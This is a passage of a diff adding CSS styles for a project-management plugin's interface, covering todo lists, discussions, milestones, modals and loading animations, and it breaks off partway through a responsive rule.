+.pm .pm-todolists .pm-todolist .pm-todos-new { + margin: 0px; + padding: 0px; +} +.pm .pm-todolists .pm-todolist .pm-todos-new li { + margin-bottom: 0px !important; +} +.pm .pm-todolists .pm-todolist .pm-todos-new-form .pm-new-btn { + margin-bottom: 10px; + border-bottom: solid 1px #eee; + padding: 0px 10px 5px 30px; + margin-left: 0px; +} +.pm .pm-todolists .pm-todolist .pm-todos-new-form .pm-new-btn a { + background: url('../images/plus_blue.svg') no-repeat 0% 50%; + padding: 10px; + background-size: 20px; + padding-left: 25px; + color: #019dd6; + font-weight: bold; +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer { + padding: 0px; + margin: 0px; + padding-left: 15px; +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-6, +.pm .pm-todolists .pm-todolist footer.pm-list-footer pm-col-4, +.pm .pm-todolists .pm-todolist footer.pm-list-footer pm-col-1 { + padding-top: 5px; +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-6 { + border-right: solid 1px #eee; + margin-right: 8%; + margin-bottom: 0; +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-6 span { + font-weight: bold; +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-3 { + padding-left: 28px; + background-size: 22px; + background-repeat: no-repeat; + margin: 5px 0; + padding-bottom: 5px; +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-3 a { + line-height: 150%; + font-size: 12px; + display: inline-block; +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-todo-complete { + background-image: url('../images/todo_completed.svg'); +} +.pm .pm-todo-refresh { + background-image: url('../images/refresh.svg'); + padding-left: 28px; + background-size: 20px; + background-repeat: no-repeat; +} +.pm .pm-todo-migrate { + background-image: url('../images/todo_completed.svg'); + padding-left: 28px; + background-size: 17px; + background-repeat: no-repeat; + padding-bottom: 4px; +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-todo-incomplete { + background-image: url('../images/todo-incomplete.svg'); +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-todo-comment { + background-image: url('../images/comment.svg'); +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-new-task-btn { + background-image: url('../images/plus_blue.svg'); +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-sub-task-show { + background-image: url('../images/dark-eye.svg'); +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-new-task-btn-minus { + background-image: url('../images/minus.svg'); +} +.pm .pm-todolists .pm-todolist footer.pm-list-footer .no-percent { + padding-top: 0.86555551%; +} +.pm .pm-todolists .sticky_list .pm-pin-list a { + visibility: visible !important; +} +.pm .pm-todolists .sticky_list span { + color: #019dd6 !important; +} +.pm .pm-new-message-btn { +} +.pm .pm-message-page { + width: auto; + padding: 0px; + background: #ffffff; + margin-top: 10px; + margin-bottom: 10px; +} +.pm .pm-message-page .pm-message-list { + padding: 10px 20px; +} +.pm .pm-message-page .pm-message-list { + padding: 0px; + margin-right: 25px; + padding-left: 0px; + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; +} +.pm .pm-message-page .pm-message-list .pm-box-title { + color: #0072A8; + font-weight: bold; + background: #FAFAFA; +} +.pm .pm-message-page .pm-message-list ul { + margin: 0px; + padding: 0px; +} +.pm .pm-message-page .pm-message-list li { + margin: 0px; + border-left: #fff solid 3px; + border-bottom: #eee solid 1px; + cursor: pointer; + padding: 15px 10px 0px; +} +.pm .pm-message-page .pm-message-list .pm-user-list li{ + border-bottom: 0px; +} +.pm .pm-message-page .pm-message-list li .pm-col-9 { + font-weight: bold; + color: #000; +} +.pm .pm-message-page .pm-message-list li .dicussion-meta { + font-weight: normal; + font-size: 97%; + color: #a0a0a0; +} +.pm .pm-message-page .pm-message-list li img { + border-radius: 45px; + height: auto; + float: left; + margin: 0px 10px; + height: 48px; + width: 48px; + background-color: #ccc; +} +.pm .pm-message-page .pm-message-list li .pm-message-action { + visibility: hidden; + margin-top: 7px; +} +.pm .pm-message-page .pm-message-list li .comment-count { + background-image: url('../images/comment_blue.svg'); + background-repeat: no-repeat; + background-position: 0% 65%; + background-size: 20px; + min-height: 30px; + padding-left: 28px; + padding-top: 5px; + color: #019dd6; + min-width: 150px; +} +.pm .pm-message-page .pm-message-list li:hover { + background: #f9f9f9; + border-left: #019dd6 solid 3px; +} +.pm .pm-message-page .pm-message-list li:hover .pm-message-action { + visibility: visible; +} +.pm .pm-message-page .pm-message-body { + margin-right: 0px; + height: 600px; + overflow: auto ; +} +.pm .pm-message-page .pm-message-body .pm-discuss-title { + color: #019dd6; + border-bottom: solid 1px #eee; + padding-bottom: 10px; +} +.pm .pm-message-page .pm-message-body .pm-discuss-title .pm-edit-discussion { + position: absolute; + right: 10px; + background: url('../images/edit.svg') no-repeat 0% 0%; + background-size: 20px; + padding: 10px; + width: 30px; +} +.pm .pm-message-page .pm-message-form-wrap, +.pm .pm-message-page .pm-milestone-form-wrap, +.pm .pm-message-page .pm-comment-form-wrap, +.pm .pm-message-page .pm-milestone-form { + width: auto; +} +.pm .pm-message-page .single-todo-comments { + margin-bottom: 30px; +} +.pm .pm-message-page .single-todo-comments .pm-comment-form-wrap { + background: #ffffff !important; + padding: 0px; + width: auto !important ; +} +.pm .pm-message-page .single-todo-comments .submit { + padding-bottom: 0px; + margin-bottom: 0px; +} +.pm .single-todo-comments { + margin-bottom: 30px; + margin-top: 30px; +} +.pm .single-todo-comments .submit { + padding-bottom: 0px; + margin-bottom: 0px; +} +.pm .pm-comment { + background: #fff; + margin-bottom: 10px; + display: block; + border: #eee solid 1px; + padding: 10px; + min-height: 50px; +} +.pm .pm-comment .pm-comment-action { + position: absolute; + visibility: hidden; + text-align: right; + right: 10px; + top: 10px ; +} +.pm .pm-comment .pm-comment-action span { + margin: 0 4px; +} +.pm #pm-milestone-page .pm-milestone-form-wrap { + width: auto; + margin-left: 0px; +} +.pm #pm-milestone-page .pm-milestone-link { + margin: 0px; + padding: 0px; + list-style: none; +} +.pm #pm-milestone-page .pm-milestone-link li { + margin-right: 5px; + float: left; +} +.pm #pm-milestone-page .pm-milestone-link li a { + padding: 15px 25px; + border-bottom: #fff solid 2px ; +} +.pm #pm-milestone-page .pm-milestone-link li .pm-plus-white { + float: right; + position: absolute; + right: 0px; + border: none; + padding-left: 50px; + margin-top: -10px; +} +.pm #pm-milestone-page .pm-milestone-link li .pm-plus-white:hover { + border: none; +} +.pm #pm-milestone-page .pm-milestone-link li a:hover, +.pm #pm-milestone-page .pm-milestone-link li.active a { + border-bottom: #F46720 solid 2px ; +} +.pm #pm-milestone-page .pm-milestone-details { + margin-top: 20px; + padding-left: 0px; + padding-right: 0px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-late-milestone .group-title { + background-image: url('../images/late_milestone.svg'); + background-color: #FDF9F6; +} +.pm #pm-milestone-page .pm-milestone-details .pm-upcomming-milestone .group-title { + background-image: url('../images/running_milestone.svg'); + background-color: #F6FEFF; +} +.pm #pm-milestone-page .pm-milestone-details .pm-complete-milestone .group-title { + background-image: url('../images/todo_completed.svg'); + background-color: #DCEDD8; + border-bottom: 1px solid #cce5c7 !important; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone-data { + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; + margin-top: 20px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone-data .group-title { + font-size: 16px; + margin: 0; + background-repeat: no-repeat; + background-position: 12px 50%; + background-size: 28px; + padding: 10px 10px 10px 50px; + margin-bottom: 0px; + border-bottom: #eee solid 1px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone { + background: #fff; + border-bottom: #eee solid 1px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .milestone-head { + padding: 15px 15px 0px; + margin-bottom: 0px; + margin-top: 0px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .milestone-head .time-left { + font-size: small; + font-weight: normal; + color: #124b04; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .milestone-head .pm-links { + margin: 0px; + margin-top: -15px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .detail { + padding: 5px 15px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details { + padding: 15px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-todo h3 { + background: #F3F8FC ; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-todo li { + background: url('../images/milestone-todo.svg') no-repeat 12px 30%; + background-size: 25px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-discussion h3 { + background: #F8F8EE ; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-discussion li { + background: url('../images/discussion.svg') no-repeat 12px 30%; + background-size: 25px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-discussion .time { + background: url('../images/time.svg') no-repeat 0% 30%; + background-size: 20px; + padding-left: 25px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 { + border: solid 1px #eee; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 h3 { + margin: 0px; + padding: 15px 15px; + margin-bottom: 5px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 ul { + padding: 0px; + margin: 0px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 ul li { + border-bottom: solid 1px #eee; + padding: 6px 15px; + padding-left: 45px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 ul li:last-child { + border: none; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details img.avatar { + border-radius: 15px; + border: solid 1px #eee; + vertical-align: top; + margin-right: 5px; +} +.pm #pm-milestone-page .pm-milestone-details .pm-milestone-completed { + padding: 15px; + color: #124b04; + background: #f3ffee; +} +.pm #pm-milestone-page .cmp-empty-milestone { + background: #fff; + padding: 15px 20px 5px 20px; + min-height: 50px; +} +.pm .pm-files-page .pm-files ul { + padding: 0px; + margin: 0px; +} +/*.pm .pm-files-page .pm-files li { + background: #fff; + margin-right: 30px; + margin-bottom: 12px; + border: none; +} +.pm .pm-files-page .pm-files li img { + height: 150px; +} +.pm .pm-files-page .pm-files li .pm-file-name, +.pm .pm-files-page .pm-files li .pm-file-meta { + padding-left: 20px; +} +.pm .pm-files-page .pm-files li .pm-file-action { + margin-top: 5px; + border-top: #F4F4F4 solid 1px; + background: #FCFCFC; + padding: 10px 5px 0px; +} +.pm .pm-files-page .pm-files li .pm-file-action ul { + margin: 0px; + padding: 0px; + text-align: center; +} +.pm .pm-files-page .pm-files li .pm-file-action ul li { + background: none; +} +.pm .pm-files-page .pm-files li .pm-file-action ul a { + padding: 10px 10px; + background-size: 20px !important; +} +.pm .pm-files-page .pm-files li .pm-file-action ul .pm-comment-count { + font-size: small; + padding: 0px 6px; + margin-top: -15px; + border-radius: 10px; + position: absolute; + top: 0px; +} +.pm .pm-files-page .pm-files li .pm-file-action ul .pm-go-discussion a { + background: url('../images/attach.svg') no-repeat center center; +} +.pm .pm-files-page .pm-files li .pm-file-action ul .pm-comments-count span { + background: url('../images/discussion.svg') no-repeat center center; + padding: 15px; + background-size: 30px; +} +.pm .pm-files-page .pm-files li .pm-file-action ul .pm-download-file a { + background: url('../images/download.svg') no-repeat center center; +}*/ +.pm .chosen-drop ul li { + float: none !important ; +} +.pm .pm-single-project-search-wrap { + margin-right: 25px; +} +.pm .pm-project-action { + position: absolute; + right: 75px; + top: 15px; + color: #aaa; + cursor: pointer; +} +.pm .pm-project-action .pm-settings-bind { + padding: 3px 5px; + border: 1px solid #ddd; + height: auto; + width: auto; +} +.pm .pm-project-action .pm-settings-bind:hover { + color: #666; +} +.pm .pm-project-action ul.pm-settings { + background: #fff; + box-shadow: 0 0 3px 1px #eee; + border: 1px solid #ddd; + position: absolute; + right: 2px; + top: 140%; + width: 110px; + margin: 0; +} +.pm .pm-project-action ul.pm-settings li:not(:last-child) { + border-bottom: 1px solid #e5e5e5; + display: block; +} +.pm .pm-project-action ul.pm-settings li { + padding: 0; + margin: 0; + width: 100%; + text-align: left; +} +.pm .pm-project-action ul.pm-settings a { + color: #666; + font-size: 12px; + padding: 5px 10px; + margin: 0px; + border: none; + display: block; + height: auto; + min-height: auto; +} +.pm .pm-project-action ul.pm-settings a span.dashicons { + color: #999; +} +.pm .pm-project-action ul.pm-settings a:hover { + border: none; + color: #444; + background-color: #f9f9f9; +} +.pm .pm-project-action ul.pm-settings:after { + bottom: 100%; + left: 50%; + border: solid transparent; + content: " "; + height: 0; + width: 0; + position: absolute; + pointer-events: none; + border-bottom-color: #ccc; + border-width: 8px; + margin-left: 27px; +} +.pm .pm-blank-template { + box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); + border: 1px solid #e5e5e5; + vertical-align: central; + background: #ffffff; + padding: 25px; + padding-bottom: 35px; +} +.pm .pm-blank-template .pm-new-todolist-form { + margin: auto; + width: 65%; +} +.pm .pm-blank-template .pm-content { + margin: auto; + max-width: 600px; + min-height: 450px; + text-align: center; + background-repeat: no-repeat; + background-position: top center ; + background-size: 100%; +} +.pm .pm-blank-template .pm-content p { + font-size: 14px; + color: #000000; +} +.pm .pm-blank-template .pm-content img { + max-width: 340px; + margin-bottom: 20px; +} +.pm .pm-blank-template .pm-content form { + text-align: left; +} +.pm .pm-blank-template .pm-content .pm-page-title { + margin: 0px; + padding: 0px 10px 8px; + font-weight: bold; + color: #000; + font-size: 20px; +} +.pm .pm-blank-template .pm-content .pm-list-content { + background: #FEFCE3 ; + max-width: 450px; + margin: auto; + padding: 20px 20px 10px; + border-radius: 5px; + border: #FAEA96 solid 1px ; + margin-top: 35px; +} +.pm .pm-blank-template .pm-content .pm-list { + color: #545353; + list-style: none; +} +.pm .pm-blank-template .pm-content .pm-list li { + border-top: #FAEA96 solid 1px ; + padding: 7px 0 0 0; +} +.pm .pm-blank-template .pm-content .pm-btn { + margin-bottom: 5px; + margin-top: 15px; +} +.pm .discussion .pm-content { + background-image: url('../images/blank_discussion.svg'); +} +.pm .todolist .pm-content { + background-image: url('../images/blank_todolist.svg'); +} +.pm .file-list .pm-content { + background-image: url('../images/blank_documents.svg'); +} +.pm .milestone .pm-content { + background-image: url('../images/blank_milestone.svg'); +} + +.pm .pm-demo-template { + background-image: url('../images/blank_todolist.svg'); + background-repeat: no-repeat; +} +.pm .modal-mask { + position: fixed; + z-index: 10000; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-color: rgba(0, 0, 0, 0.5); + display: table; + transition: opacity .3s ease; +} +.pm .modal-wrapper { + display: table-cell; + vertical-align: middle; +} +.pm .modal-container { + width: 450px; + margin: 0px auto; + background-color: #fff; + border-radius: 2px; + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.33); + transition: all .3s ease; + font-family: Helvetica, Arial, sans-serif; + position: relative; +} +.pm .modal-header span.close-vue-modal { + position: absolute; + top: 0px; + right: 0; +} +.pm .modal-header { + margin-bottom: 5px; + border-bottom: #e5e9eb solid 1px; +} +.pm .modal-header h3 { + margin: 0; + padding: 0; + color: #095c91; + padding: 15px 30px 10px; + font-size: 22px; +} +.pm .modal-header .close-vue-modal a { + display: block; + width: 20px; + background: ''; + border: none; + border-left: 1px solid #ddd; + color: #444; + text-align: center; + padding: 15px 10px 10px; + font-size: 110%; + cursor: pointer; + -webkit-transition: color 0.1s ease-in-out, background 0.1s ease-in-out; + transition: color 0.1s ease-in-out, background 0.1s ease-in-out; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} +.pm .modal-header .close-vue-modal:hover { + background: #eee ; +} +.pm .modal-body .pm-task-complete { + text-decoration: line-through; + color: #848484; +} +.pm .modal-footer { + padding: 10px; + text-align: center; +} +.pm .modal-default-button { + float: right; +} +.pm .half-modal .modal-container { + width: 57%; + margin: 30px 0 0 auto; + overflow: visible; + display: compact; + border-radius: 2px; + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.33); + transition: all .3s ease; + font-family: Helvetica, Arial, sans-serif; +} +.pm .half-modal .close-vue-modal { + margin-left: -40px; + margin-top: 0px; + float: left; +} +.pm .half-modal .close-vue-modal a { + display: block; + width: 20px; + background: #000 ; + border: none; + color: #fff ; + text-align: center; + padding: 8px 10px 10px; + font-size: 110%; + cursor: pointer; + -webkit-transition: color 0.1s ease-in-out, background 0.1s ease-in-out; + transition: color 0.1s ease-in-out, background 0.1s ease-in-out; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} +.pm .half-modal .edit-vue-modal a { + display: block; + width: 50px; + background: ''; + border: none; + border-left: 1px solid #ddd; + color: #444; + text-align: center; + padding: 8px 10px 10px; + font-size: 110%; + cursor: pointer; + -webkit-transition: color 0.1s ease-in-out, background 0.1s ease-in-out; + transition: color 0.1s ease-in-out, background 0.1s ease-in-out; + -webkit-box-sizing: content-box; + -moz-box-sizing: content-box; + box-sizing: content-box; +} +.pm .half-modal .edit-vue-modal:hover { + background: #eee ; +} +.pm .half-modal .modal-header h3 { + padding-bottom: 2px; +} +.pm .modal-body .pm-modal-conetnt { + padding: 10px 10px 30px 10px; +} +.pm-modal-conetnt::-webkit-scrollbar { + width: 4px; + background-color: #F5F5F5; +} +.pm-modal-conetnt::-webkit-scrollbar-thumb { + border-radius: 4px; + -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3); + background-color: #555; +} +.pm-modal-conetnt::-webkit-scrollbar-track { + -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3); + border-radius: 10px; + background-color: #F5F5F5; +} +.pm .half-modal .pm-modal-conetnt { + overflow-x: auto; + overflow-y: scroll; + height: 99vh; + padding-bottom: 15px; +} +.pm .half-modal .pm-modal-conetnt .pm-todo-edit { + display: none; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title:hover .pm-todo-edit { + display: inline-block; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title { + margin-top: 0px; + margin-bottom: 15px; + display: inline-block; + padding-right: 20px; + width: 100%; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .dashicons-lock, +.pm .half-modal .pm-modal-conetnt .pm-task-title .dashicons-unlock { + color: #0073aa; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-text, +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-meta { + float: left; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-text:hover .pm-task-title-span { + background: #eee; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-span { + padding: 0 5px; + display: inline-block; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-text { + max-width: 88%; + margin-right: 12px; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-text .pm-task-title-field { + display: inline-block; + width: 100%; + padding: 7px 8px 7px 8px; + background: #eee; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-meta { + width: 8%; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-mark-done-checkbox { + width: 4%; +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-wrap { + width: 70%; + /*text-align: justify;*/ +} +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-task-title-wrap, +.pm .half-modal .pm-modal-conetnt .pm-task-title .pm-mark-done-checkbox { + float: left; +} +.pm .half-modal .pm-modal-conetnt .pm-task-meta { + margin-top: 0px; + display: inline-block; +} +.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-task-date-wrap { + cursor: pointer; + position: relative; + margin-right: 10px; +} +.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-task-date-wrap .pm-date-edit-btn { + display: none; +} +.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-task-date-wrap:hover .pm-date-edit-btn { + display: inline-block; +} +.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-date-update-wrap { + position: absolute; + z-index: 99999; + width: 600px; +} +.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-date-picker-from, +.pm .half-modal .pm-modal-conetnt .pm-task-meta .pm-date-picker-to { + margin-right: -1px; + float: left; +} +.pm .half-modal .pm-modal-conetnt .pm-assigned-user img { + width: 24px; + height: 24px; +} +.pm .half-modal .pm-modal-conetnt .task-details, +.pm .half-modal .pm-modal-conetnt .pm-empty-task-details { + margin-bottom: 15px; + margin-top: 15px; + /*text-align: justify;*/ +} +.pm .half-modal .pm-modal-conetnt .task-details .pm-help-text, +.pm .half-modal .pm-modal-conetnt .pm-empty-task-details .pm-help-text { + font-size: 10px; + background: #f5f5f5; + width: 100%; + padding: 0 7px; +} +.pm .half-modal .pm-modal-conetnt .task-details .pm-desc-field, +.pm .half-modal .pm-modal-conetnt .pm-empty-task-details .pm-desc-field { + height: 100px; + width: 100%; +} +.pm .half-modal .pm-modal-conetnt .task-details .pm-desc-content, +.pm .half-modal .pm-modal-conetnt .pm-empty-task-details .pm-desc-content { + margin: 0; + padding: 6px; + min-height: 100px; +} +.pm .half-modal .pm-modal-conetnt .task-details .pm-task-des-edit-btn, +.pm .half-modal .pm-modal-conetnt .pm-empty-task-details .pm-task-des-edit-btn { + display: none; +} +.pm .half-modal .pm-modal-conetnt .task-details:hover .pm-task-des-edit-btn { + display: inline-block; + color: #0073aa; +} +.pm .modal-enter, +.pm .modal-leave { + opacity: 0; +} +.pm .modal-enter .modal-container, +.pm .modal-leave .modal-container { + -webkit-transform: scale(1.1); + transform: scale(1.1); +} +.pm .pm-blank-loading .timeline-item { + background: #fff; + padding: 12px; + margin: 0 auto; +} +@keyframes placeHolderShimmer { + 0% { + background-position: -468px 0; + } + 100% { + background-position: 468px 0; + } +} +.pm .pm-blank-loading .animated-background { + background: #fff ; +} +.pm .pm-blank-loading .animated-background .background-masker { + min-height: 25px; + padding: 8px; + background: linear-gradient(to right, #fff 8%, #eee 18%, #fff 33%); + margin-bottom: 5px; + animation-duration: 1s; + animation-fill-mode: forwards; + animation-iteration-count: infinite; + animation-name: placeHolderShimmer; + animation-timing-function: linear; +} +.pm .pm-blank-loading .animated-background .background-masker .comment_image { + background: url('../images/comment_gray.svg') no-repeat left; + padding-left: 15px; +} +.pm .loadanimation { + background: url('../images/more-loading.gif') no-repeat center center; + min-height: 70px; + width: 100%; + text-align: center; +} +.pm .loadmoreanimation { + display: none; +} +.pm .loadmoreanimation .load-spinner { + margin: 10px auto; + width: 50px; + height: 40px; + text-align: center; + font-size: 10px; +} +.pm .loadmoreanimation .load-spinner .rect2 { + -webkit-animation-delay: -1.1s; + animation-delay: -1.1s; +} +.pm .loadmoreanimation .load-spinner .rect3 { + -webkit-animation-delay: -1s; + animation-delay: -1s; +} +.pm .loadmoreanimation .load-spinner .rect4 { + -webkit-animation-delay: -0.9s; + animation-delay: -0.9s; +} +.pm .loadmoreanimation .load-spinner .rect5 { + -webkit-animation-delay: -0.8s; + animation-delay: -0.8s; +} +.pm .loadmoreanimation .load-spinner > div { + background-color: #ccc; + height: 100%; + width: 6px; + display: inline-block; + -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out; + animation: sk-stretchdelay 1.2s infinite ease-in-out; +} +.pm .loading-animation .load-spinner { + display: block; +} +.pm .loading-animation .load-spinner { + margin: 10px auto; + width: 50px; + height: 40px; + text-align: center; + font-size: 10px; +} +.pm .loading-animation .load-spinner .rect2 { + -webkit-animation-delay: -1.1s; + animation-delay: -1.1s; +} +.pm .loading-animation .load-spinner .rect3 { + -webkit-animation-delay: -1s; + animation-delay: -1s; +} +.pm .loading-animation .load-spinner .rect4 { + -webkit-animation-delay: -0.9s; + animation-delay: -0.9s; +} +.pm .loading-animation .load-spinner .rect5 { + -webkit-animation-delay: -0.8s; + animation-delay: -0.8s; +} +.pm .loading-animation .load-spinner > div { + background-color: #ccc; + height: 100%; + width: 6px; + display: inline-block; + -webkit-animation: sk-stretchdelay 1.2s infinite ease-in-out; + animation: sk-stretchdelay 1.2s infinite ease-in-out; +} +@-webkit-keyframes sk-stretchdelay { + 0%, + 40%, + 100% { + -webkit-transform: scaleY(0.4); + } + 20% { + -webkit-transform: scaleY(1); + } +} +@keyframes sk-stretchdelay { + 0%, + 40%, + 100% { + transform: scaleY(0.4); + -webkit-transform: scaleY(0.4); + } + 20% { + transform: scaleY(1); + -webkit-transform: scaleY(1); + } +} +.pm .animated { + display: inline-block; +} +.pm .animated.v-enter { + animation: fadein .5s; +} +.pm .animated.v-leave { + animation: fadeout .5s; +} +@keyframes fadein { + 0% { + transform: scale(0); + } + 50% { + transform: scale(1.5); + } + 100% { + transform: scale(1); + } +} +@keyframes fadeout { + 0% { + transform: scale(1); + } + 50% { + transform: scale(1.5); + } + 100% { + transform: scale(0); + } +} +@media only screen and (max-width: 640px) { + .pm .pm-top-bar ul.pm-project-group-ul { + width: 100%; + } + .pm .pm-top-bar ul.pm-project-group-ul li a { + padding-left: 50px; + background-position: 5% 50%; + } + .pm .project-overview .overview-menu ul li a { + display: block; + width: 100%; + } + .pm .project-overview .overview-menu ul li a .icon, + .pm .project-overview .overview-menu ul li a .count { + float: none; + text-align: center; + display: block; + } + .pm .project-overview .overview-menu ul li a .icon { + margin: 0 auto 15px auto; + } + .pm .project-overview .pm-chart { + width: 100%; + } + .pm .pm-todo-content .pm-col-7 { + width: 100%; + } + .pm .pm-todo-content .pm-todo-action-right, + .pm .pm-todo-content .pm-col-4 { + width: 48%; + visibility: visible; + } + .pm .pm-new-todolist-form { + width: 100%; + } + .pm article.pm-todolist .pm-list-edit-form form, + .pm article.pm-todolist .pm-task-edit-form { + width: 95%; + } + .pm article.pm-todolist .pm-todo-form { + padding: 0; + } + .pm article.pm-todolist .pm-todo-form .pm-task-form { + width: 92%; + margin: 10px 15px; + } + .pm .pm-list-footer .pm-col-6 { + width: 100%; + } + .pm .pm-list-footer .pm-col-4 { + width: 60%; + } + .pm .pm-list-footer .no-percent { + width: 20%; + margin: 0; + padding-top: 10px; + } + .pm #pm-report .postbox { + text-align: center; + } + .pm #pm-report ul { + text-align: center; + } + /*.pm #pm-report ul li { + padding: 40px; + background: #fff; + border: solid 1px #ccc; + width: auto ; + margin-left: 0; + text-align: center; + float: none ; + }*/ + .pm #pm-report ul li a { + padding: 15px; + } + .pm .half-modal .modal-container { + width: 90%; + } +} +@media only screen and (max-width: 1166px) { + .pm { + /*** For activity page ***/ + /** Discussion Page Start**/ + /** Discussion Page End **/ + } + .pm .pm-sm-col-1 { + width: 100%; + } + .pm .pm-sm-col-2 { + width: 100%; + } + .pm .pm-sm-col-3 { + width: 100%; + } + .pm .pm-sm-col-4 { + width: 30.19999%; + float: left; + } + .pm .pm-sm-col-5 { + width: 100%; + } + .pm .pm-sm-col-6 { + width: 100%; + } + .pm .pm-sm-col-7 { + width: 100%; + } + .pm .pm-sm-col-8 { + width: 100%; + } + .pm .pm-sm-col-9 { + width: 100%; + } + .pm .pm-sm-col-10 { + width: 100% ; + } + .pm .pm-sm-col-11 { + width: 100%; + } + .pm .pm-sm-col-12 { + width: 100% ; + float: none; + } + .pm .show_desktop_only { + display: none; + } + .pm .show_small_only { + display: block; + } + .pm .hide_desktop_only { + display: block; + } + .pm .hide_small_only { + display: none; + } + .pm .pm-project-group ul li { + width: 100% ; + float: none; + } + .pm .pm-project-group ul li a { + background-position: 2% 50%; + /*border-bottom: solid 2px #eee;*/ + } + .pm .pm-project-grid, + .pm .pm-project-list { + width: 100%; + } + .pm .pm-project-grid .pm-project, + .pm .pm-project-list .pm-project { + width: 100%; + margin-left: 0px; + padding: 0px; + box-shadow: none; + } + .pm .pm-project-list .pm-project { + height: auto; + } + .pm .pm-project-grid .pm-project .project_head, + .pm .pm-project-list .pm-project .project_head { + background: #ffffff ; + padding: 12px 20px; + border-bottom: #ccc solid 1px; + min-height: 55px; + color: #000 ; + } + .pm .pm-project-list .pm-project .project_head { + width: 100%; + } + .pm .pm-project-list .pm-project .pm-project-meta { + width: 100%; + } + .pm .pm-project-grid .pm-project .project_head:hover, + .pm .pm-project-list .pm-project .project_head:hover { + background: #019dd6; + text-decoration: none; + } + .pm .pm-project-grid .pm-project .project_head:hover h5, + .pm .pm-project-list .pm-project .project_head:hover h5, + .pm .pm-project-grid .pm-project .project_head:hover .pm-settings-icon-cog span, + .pm .pm-project-list .pm-project .project_head:hover .pm-settings-icon-cog span, + .pm .pm-project-grid .pm-project .project_head:hover .pm-project-detail, + .pm .pm-project-list .pm-project .project_head:hover .pm-project-detail { + color: #ffffff; + } + .pm .pm-project-grid .pm-project .pm-project-detail, + .pm .pm-project-list .pm-project .pm-project-detail { + font-size: 13px; + } + .pm .pm-project-grid .pm-project .pm-project-meta, + .pm .pm-project-list .pm-project .pm-project-meta { + padding: 10px; + } + .pm .pm-project-grid .pm-project .pm-project-meta ul, + .pm .pm-project-list .pm-project .pm-project-meta ul { + padding: 0px; + margin: 0px; + margin-left: 5px; + margin-bottom: 50px; + } + .pm .pm-project-grid .pm-project .pm-project-meta ul li, + .pm .pm-project-list .pm-project .pm-project-meta ul li { + float: left; + width: 41% ; + list-style: none; + //padding-left: 25px; + font-size: 13px; + color: #888888; + line-height: 35px; + padding-bottom: 15px; + } + .pm .pm-project-grid .pm-project .pm-progress, + .pm .pm-project-list .pm-project .pm-progress { + position: absolute; + bottom: 75px; + height: 6px; + width: 100%; + 